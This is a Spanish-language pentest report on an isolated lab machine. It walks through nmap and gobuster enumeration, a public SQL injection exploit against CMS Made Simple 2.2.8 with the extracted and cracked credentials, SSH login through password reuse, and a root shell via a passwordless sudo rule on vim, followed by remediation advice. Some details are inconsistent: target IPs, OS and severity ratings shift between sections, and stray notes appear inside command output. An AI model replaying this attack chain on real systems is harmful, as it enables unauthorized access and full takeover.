

INFORME DE PENTEST

Plantilla Profesional para Portafolio

Autor: Alejandro Ceballos Camús

Fecha: 27/11/2025

1. Resumen Ejecutivo

Descripción General del Proyecto

El proyecto consiste en la realización de una prueba de penetración sobre un sistema aislado con el objetivo de identificar vulnerabilidades técnicas, evaluar la exposición frente a ataques reales y validar la efectividad de la seguridad implementada. La auditoría se ha realizado sobre una máquina preparada y aislada para la simulación.

Objetivos de la Auditoría

- Identificar vulnerabilidades técnicas
- Evaluar la posibilidad de obtener acceso no autorizado
- Determinar la posibilidad de obtener acceso no autorizado
- Analizar el riesgo asociado
- Documentar el proceso de ataque
- Proponer recomendaciones de mitigación

Resumen de Hallazgos

Hallazgo 1: Inyección SQL en CMS Made Simple

Severidad: Alta

Componente afectado: Aplicación web CMS Made Simple

Vulnerabilidad: Inyección SQL

Descripción: La aplicación web CMS Made Simple en su versión 2.2.8 presenta una vulnerabilidad conocida de inyección SQL que permite extraer datos sensibles de la base de datos

Evidencia: Se ha ejecutado un exploit público (CVE-2019-9053) logrando extraer una cuenta de usuario y el hash de su contraseña, además del correo electrónico asociado

Impacto: Un atacante puede obtener credenciales válidas y comprometer cuentas y servicios internos, como SSH.

Recomendaciones:

1. Actualizar CMS Made Simple a la versión más reciente

Hallazgo 2: Reutilización de credenciales

Severidad: Alta

Componente afectado: Aplicación web CMS Made Simple y servicio SSH

Vulnerabilidad: Acceso comprometido

Descripción: La contraseña obtenida en el hallazgo 1 se reutiliza para el usuario del sistema. Permite movimiento lateral y evidencia una política de seguridad en credenciales insuficiente. Además la política específica de contraseñas es demasiado laxa permitiendo contraseñas extremadamente sencillas con complejidades muy pequeñas

Evidencia: Las credenciales obtenidas de la aplicación web son válidas para el servicio SSH

Impacto: Eleva la gravedad de la vulnerabilidad inicial permitiendo acceso directo al sistema operativo

Recomendaciones:

1. Actualizar la política de credenciales, establecer contraseñas únicas por servicio
2. Actualizar la política de contraseñas, obligando al usuario a utilizar contraseñas más complejas
3. Implementar autenticación en dos factores
4. Actualizar la política de contraseñas, forzando la rotación periódica de las mismas

Hallazgo 3: Permisos sudo en VIM, permitiendo ejecución como raíz del sistema.

Severidad: Crítica

Componente afectado: Sistema operativo

Vulnerabilidad: Existen usuarios con permisos sudo sin contraseña para ejecutar VIM.

Descripción: El usuario "mitch" tiene permisos sudo para ejecutar VIM, que puede ejecutar por su lado comandos en el sistema operativo y se puede utilizar para escalar a un shell con privilegios totales

Evidencia:

Regla NOPASSWD en VIM para mitch:

```
$ sudo -l          Como tenemos un servicio ssh en el puerto 2222
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim
```

Impacto: Permite control absoluto de la máquina objetivo

Recomendaciones:

1. Eliminar la entrada sudo para VIM.
2. Implementar políticas de mínimo privilegio en la organización digital del sistema
3. Revisiones periódicas de reglas y permisos

Hallazgo 4: Servicio FTP accesible anónimamente

Severidad: Media

Componente afectado: Servicio FTP

Vulnerabilidad: Servicio accesible con archivos internos expuestos

Descripción: El servicio FTP permite el acceso anónimo a archivos internos expuestos en el mismo. Pese a no existir archivos extremadamente comprometidos actualmente, estos podrían existir en el futuro.

Impacto: Permite a cualquiera acceder a archivos internos del sistema expuestos en FTP. Pese a no existir archivos sensibles expuestos pueden existir en un futuro

Recomendaciones:

1. Revisar políticas de gestión de archivos para evitar exponerlos
2. Endurecer FTP con credenciales si no es necesario el acceso externo

Riesgo Global

El análisis de la máquina objetivo evidencia que el sistema esta en riesgo crítico de seguridad. Existen multitud de vulnerabilidades que permiten acceso no autorizado, escalada de privilegios y movimiento lateral. Estas vulnerabilidades reducen enormemente la resistencia del sistema frente a amenazas reales y permiten acceso total a todos los recursos del sistema.

2. Alcance

Activos Evaluados

Servidor Linux remoto expuesto a la red

Servicios expuestos, incluyendo SSH, FTP y HTTP

Configuración de seguridad del sistema

Reglas y políticas de seguridad

Servicios Incluidos

HTTP 80/tcp

FTP 21/tcp

SSH 2222/tcp

Aplicación CMS Made Simple

Configuración interna

Restricciones del Proyecto

- La prueba se ha realizado en un entorno aislado
- No se han ejecutado ataques de denegación de servicio
- No se ha llevado a cabo ingeniería social
- No se han realizado modificaciones permanentes de configuración

3. Metodología (PTES)

Fase 1 — Reconocimiento

Recopilación de información disponible públicamente y análisis inicial de la superficie de exposición.

Incluye observación pasiva del sistema, revisión de banners y análisis estático del servicio web sin interacción directa intrusiva.

Fase 2 — Enumeración

Identificación de puertos abiertos, servicios activos, rutas accesibles, tecnologías empleadas y posibles puntos de entrada.

Esta fase permite construir un mapa claro del entorno y detectar configuraciones potencialmente vulnerables.

Fase 3 — Análisis de Vulnerabilidades

Revisión manual y automatizada de servicios y aplicaciones expuestas para identificar vulnerabilidades conocidas, software desactualizado, configuraciones débiles o fallos lógicos.

Se revisaron tecnologías detectadas y versiones asociadas para contrastarlas con bases de datos de vulnerabilidades públicas.

Fase 4 — Explotación

Intento controlado de explotación de las vulnerabilidades identificadas para determinar su impacto real en el sistema objetivo.

El objetivo de esta fase es obtener acceso no autorizado o ejecutar acciones que reproduzcan comportamientos de un atacante real, sin comprometer la estabilidad general del entorno.

Fase 5 — Escalada de Privilegios

Una vez obtenido acceso inicial, se evaluaron los mecanismos internos del sistema para determinar si era posible elevar privilegios a usuarios de mayor nivel, hasta llegar a permisos administrativos completos.

Se analizaron permisos, configuraciones de sudo, binarios con privilegios especiales y debilidades de seguridad a nivel de sistema operativo.

Fase 6 — Post-explotación

Validación del grado de compromiso del sistema, revisión de la información accesible tras la escalada de privilegios y verificación de la funcionalidad del entorno con el fin de minimizar el impacto de las acciones realizadas.

No se realizó persistencia permanente, manteniendo la integridad de la máquina objetivo.

Fase 7 — Reporte

Registro detallado de los hallazgos, evidencias relevantes, riesgos detectados y recomendaciones de mitigación.

El informe se elaboró siguiendo buenas prácticas profesionales para garantizar claridad, trazabilidad y utilidad para futuros análisis.

4. Información del Entorno

Descripción del Sistema Objetivo

El sistema es un sistema Linux desplegado en un entorno aislado para prácticas de seguridad. El anfitrión opera como servidor autónomo sin dependencias externas y expone varios servicios básicos accesibles a través de la red. El servidor aloja una aplicación web instalada sobre el gestor CMS Made Simple y ejecuta servicios habituales para administración remota. No forma parte de un entorno productivo real.

Arquitectura y Tecnología Detectada

Sistema Operativo

- Distribución Debian de Linux
- Servicios del sistema por defecto

Servicios de Red

- HTTP con servidor web Apache2 con contenido estático y CMS
- FTP con acceso anónimo
- SSH con acceso por credenciales convencionales en puerto no convencional (2222)

5. Evidencias y Proceso Técnico

Reconocimiento

Se ha realizado una primera inspección pasiva con navegador, desvelando la disponibilidad de un servicio web con la plantilla por defecto de Apache2.

Se ha realizado un escaneo de puertos con la herramienta NMAP para reconocer los servicios expuestos de la máquina objetivo.

```
(alejandros@alejandros)-[~/Descargas]
$ sudo nmap -p- -sS -sV -sC --min-rate 15000 -T4 10.80.180.101 -oN nmap_full.txt

[sudo] contraseña para alejandros:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-27 18:37 CET
Nmap scan report for 10.80.180.101
Host is up (0.036s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-syst:
|   STAT:
|   FTP server status:
|   Connected to ::ffff:192.168.149.121
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 2
|   vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-robots.txt: 2 disallowed entries
|_ /openemr-5_0_1_3
|_http-title: Apache2 Ubuntu Default Page: It works
2222/tcp  open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 29:42:69:14:9e:ca:d9:17:98:8c:27:72:3a:cd:a9:23 (RSA)
|   256 9b:d1:65:07:51:08:00:61:98:de:95:ed:3a:e3:81:1c (ECDSA)
|_  256 12:65:1b:61:cf:4d:e5:75:fe:f4:e8:d4:6e:10:2a:f6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.82 seconds
```

Enumeración

Se ha realizado una enumeración de directorios en el servicio web para desvelar rutas sin acceso directo público. Como resultado se ha obtenido el directorio /simple.


```
(alejandro@alejandro)-[~]
$ gobuster dir -u http://10.82.160.106 -w /usr/share/wordlists/dirb/common.txt -x php,txt,html

Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) Jones Ayuda

[+] Url: http://10.82.160.106
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,html,php
[+] Timeout: 10s

Obtenemos una página de servidor Apache2 estándar.

Starting gobuster in directory enumeration mode Reconocimiento activo

./html (Status: 403) [Size: 293]
./php (Status: 403) [Size: 292]
./hta (Status: 403) [Size: 292]
./hta.php (Status: 403) [Size: 296]
./htaccess.html (Status: 403) [Size: 302]
./htaccess.txt (Status: 403) [Size: 301]
./htaccess (Status: 403) [Size: 297]
./htaccess.php (Status: 403) [Size: 301]
./hta.txt (Status: 403) [Size: 296]
./htpasswd.php (Status: 403) [Size: 301]
./htpasswd (Status: 403) [Size: 297]
./htpasswd.html (Status: 403) [Size: 302]
./hta.html (Status: 403) [Size: 297]
./htpasswd.txt (Status: 403) [Size: 301]
./index.html (Status: 200) [Size: 11321]
./index.html (Status: 200) [Size: 11321]
./robots.txt (Status: 200) [Size: 929]
./robots.txt (Status: 200) [Size: 929]
./server-status (Status: 403) [Size: 301]
./simple (Status: 301) [Size: 315] [→ http://10.82.160.106/simple/]

Progress: 18456 / 18460 (99.98%)

Finished
```

En el resto de directorios enumerados no se ha encontrado información relevante para la simulación

Tras explorar mediante el navegador el directorio enumerado se ha desvelado el uso de CMS Made Simple versión 2.2.8.

© Copyright 2004 - 2025 - CMS Made Simple
This site is powered by [CMS Made Simple](#) version 2.2.8

Esta versión está desactualizada y se descubrió una vulnerabilidad pública relacionada con las versiones inferiores a 2.2.10.

<pre> (alejandro@alejandro)-[~] \$ searchsploit "CMS Made Simple 2.2.8" </pre>	
Exploit Title	Path
CMS Made Simple < 2.2.10 - SQL Injection	php/webapps/46635.py
Shellcodes: No Results	

Explotación

Tras obtener el exploit público relacionado con la vulnerabilidad, y adaptarlo ligeramente al entorno, se han extraído credenciales sensibles válidas para el sistema CMS.

```

[+] Salt for password found: 1dac0d92e9fa6bb2
[+] Username found: mitch
[+] Email found: admin@admin.com
[+] Password found: 0c01f4468bd75d7a84c7eb73846e8d96
[+] Password cracked: secret

```

Con las credenciales obtenidas se ha podido establecer acceso a través de SSH a través del puerto 2222/tcp con credenciales repetidas entre ambos servicios.

```

(alejandro@alejandro)-[~/Descargas]
$ ssh mitch@10.80.180.101 -p 2222
The authenticity of host '[10.80.180.101]:2222 ([10.80.180.101]:2222)' can't be established.
ED25519 key fingerprint is SHA256:iq4f0XcnA5nnPNAufEqOpvTb08dOJPcHGgmeABEdQ5g.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes | puerto 2222 usamos las credenciales obtenidas para
Warning: Permanently added '[10.80.180.101]:2222' (ED25519) to the list of known hosts.
mitch@10.80.180.101's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-58-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:    https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Aug 19 18:13:41 2019 from 192.168.0.190
$ whoami
mitch

```

Escalada de Privilegios

Tras conseguir acceso al sistema, se han revisado los permisos sudo para el usuario comprometido observando que “mitch” tenía permitido el uso de VIM con permisos root sin uso de contraseña.

```
$ sudo -l
Como tenemos un servicio ssh en el puerto 2222
User mitch may run the following commands on Machine:
(root) NOPASSWD: /usr/bin/vim
```

Mediante la ejecución del comando siguiente se ha desplegado una shell con privilegios completos de administrador mediante VIM.

```
$ sudo vim -c '!/bin/bash'
root@Machine:~# cd /root
root@Machine:/root# ls
root.txt
root@Machine:/root# cat root.txt
```

Persistencia / Limpieza (si aplica)

No aplica

6. Hallazgos Técnicos

Resumen de Vulnerabilidades

Durante la simulación se han identificado múltiples vulnerabilidades críticas que permiten el compromiso completo de la máquina objetivo. Encadenando la explotación del CMS desactualizado mediante inyección SQL, la reutilización de credenciales y una configuración insegura de permisos SUDO se ha podido alcanzar el control total del sistema como usuario raíz. La presencia de estas vulnerabilidades presenta un riesgo crítico para la integridad, confidencialidad y disponibilidad del sistema y sus servicios asociados.

Tabla de Severidad (CVSS / Impacto)

Hallazgo	Severidad	CVSS	Impacto
Inyección SQL	Crítica	10.0	Acceso a credenciales de acceso restringido
Reutilización de credenciales	Crítica	9.3	Acceso no autorizado a servicios internos
SSH expuesto con acceso por credenciales activo	Crítica	9.9	Acceso expuesto a los recursos internos del sistema
Sudo sin contraseña para usuario no administrador	Alta	8.8	Acceso a permisos raíz del sistema

Hallazgo 1

Inyección SQL en CMS Made Simple (CVE-2019-9053)

Descripción

Se ha identificado una vulnerabilidad de inyección SQL basada en el tiempo en la aplicación CMS Made Simple 2.2.8. Este problema permite la ejecución de consultas SQL sin autenticación, lo cual permite la extracción de credenciales, hashes de contraseña y otros datos sensibles almacenados en la base de datos. El parámetro vulnerable es m1_idlist.

Impacto

Un atacante remoto puede obtener acceso al sistema CMS mediante un exploit público y registrado.

Hallazgo 2

Reutilización de credenciales

Descripción

Tras explotar la vulnerabilidad del hallazgo 1, se han extraído credenciales de usuario que resultan válidas para el acceso mediante el servicio SSH. La reutilización de contraseñas entre servicios es una mala práctica que facilita el movimiento lateral y aumenta el riesgo de compromiso total del sistema.

Impacto

Permite a un atacante escalar el compromiso de una aplicación web a un compromiso del sistema operativo. Se destruye la separación de capas y aumenta enormemente el impacto de un error inicial.

Hallazgo 3

SSH expuesto con acceso por credenciales activo

Descripción

El servicio SSH se encuentra accesible en el puerto 2222/tcp. La ausencia de controles adicionales más allá de las credenciales expone el sistema a ataques de fuerza bruta o a movimiento lateral a partir de vulnerabilidades en otras dependencias.

Impacto

Aumenta la superficie de ataque y permite intentos de acceso remoto con solo examinar los puertos expuestos. Puede ser explotado tras obtener credenciales a través de otros vectores o mediante fuerza bruta.

Hallazgo 4

Sudo sin contraseña para usuario no administrador

Descripción

El usuario comprometido posee permisos sudo para ejecutar el binario vim sin autenticación. Dado que vim permite la ejecución de comandos del sistema, esta configuración permite una escalada directa de privilegios a root.

Impacto

Compromiso total del sistema, dando acceso como superusuario del sistema. Permite ejecutar comandos a voluntad, acceder a todos los archivos del servidor y eliminar mecanismos de seguridad de cualquier dependencia.

7. Recomendaciones de Mitigación

En base a los hallazgos establecidos, se proponen diferentes acciones para mejorar la situación de seguridad del sistema auditado.

Correcciones Técnicas

1. Actualización

Actualizar CMS Made Simple a la versión más reciente existente y mantener este servicio actualizado y parcheado a lo largo del tiempo. Aplicar también todas las actualizaciones de seguridad disponibles para todos los sistemas.

2. Gestión de credenciales

Eliminar la reutilización de contraseñas entre diferentes servicios y dependencias así como regenerar las credenciales comprometidas.

3. Hardening de permisos sudo

Retirar la regla NOPASSWD asociada al binario VIM en el fichero de sudoers y validar que otros usuarios no privilegiados no tengan permisos de ejecución que permitan acceso a shell.

4. SSH

Deshabilitar el acceso a SSH por contraseña y sustituirlo por autenticación mediante claves. Configurar un firewall que limite el acceso a todas las direcciones IP fuera de las necesarias

Buenas Prácticas de Seguridad

1. Ciclo de vida del software

Implementar políticas de actualización y revisión de versiones para todos los servicios y aplicaciones del sistema. Además revisar el sistema completo en busca de módulos y componentes innecesarios.

2. Principio de mínimo privilegio

Asegurar que los usuarios, en todos los niveles, solo disponen de los permisos estrictamente necesarios para la realización de sus funciones. Limitar binarios con capacidades shell.

3. Monitorización

Activación de logs detallados para todos los servicios y para sudo. Establecer alertas en caso de comportamientos anómalos tales como intentos repetidos de acceso o aumento anómalo de peticiones de acceso.

Acciones a Corto Plazo

- Actualizar CMS Made Simple
- Cambiar todas las credenciales del sistema
- Eliminar el permiso sudo inseguro de VIM y revisar que no existan otros para todos los usuarios
- Restringir el acceso SSH mediante firewall y claves
- Reforzar logging
- Revisar configuración y permisos de los usuarios del sistema

Acciones a Largo Plazo

- Implementar un sistema SIEM centralizado
- Establecer políticas robustas de contraseñas y autenticación multifactor

- Migrar la aplicación web hacia arquitecturas segmentadas o contenedorizadas
- Documentar procedimientos de gestión de incidentes
- Realizar auditorías periódicas

8. Conclusiones

Evaluación Global del Riesgo

El presente informe evidencia un nivel de riesgo crítico, principalmente debido a la existencia de vulnerabilidades encadenables que permiten el compromiso completo del sistema. La falta de mecanismos de protección y configuraciones débiles aumenta significativamente la probabilidad de explotación.

Impacto Potencial

La explotación de las vulnerabilidades supondría una falla masiva de los principios de seguridad con acceso completo a los datos internos, posibilidad de modificar y eliminar los archivos de todo el sistema e incluso la interrupción completa del funcionamiento del sistema. Además, existe riesgo de escalada hacia otros equipos si existieran conexiones compartidas o credenciales duplicadas.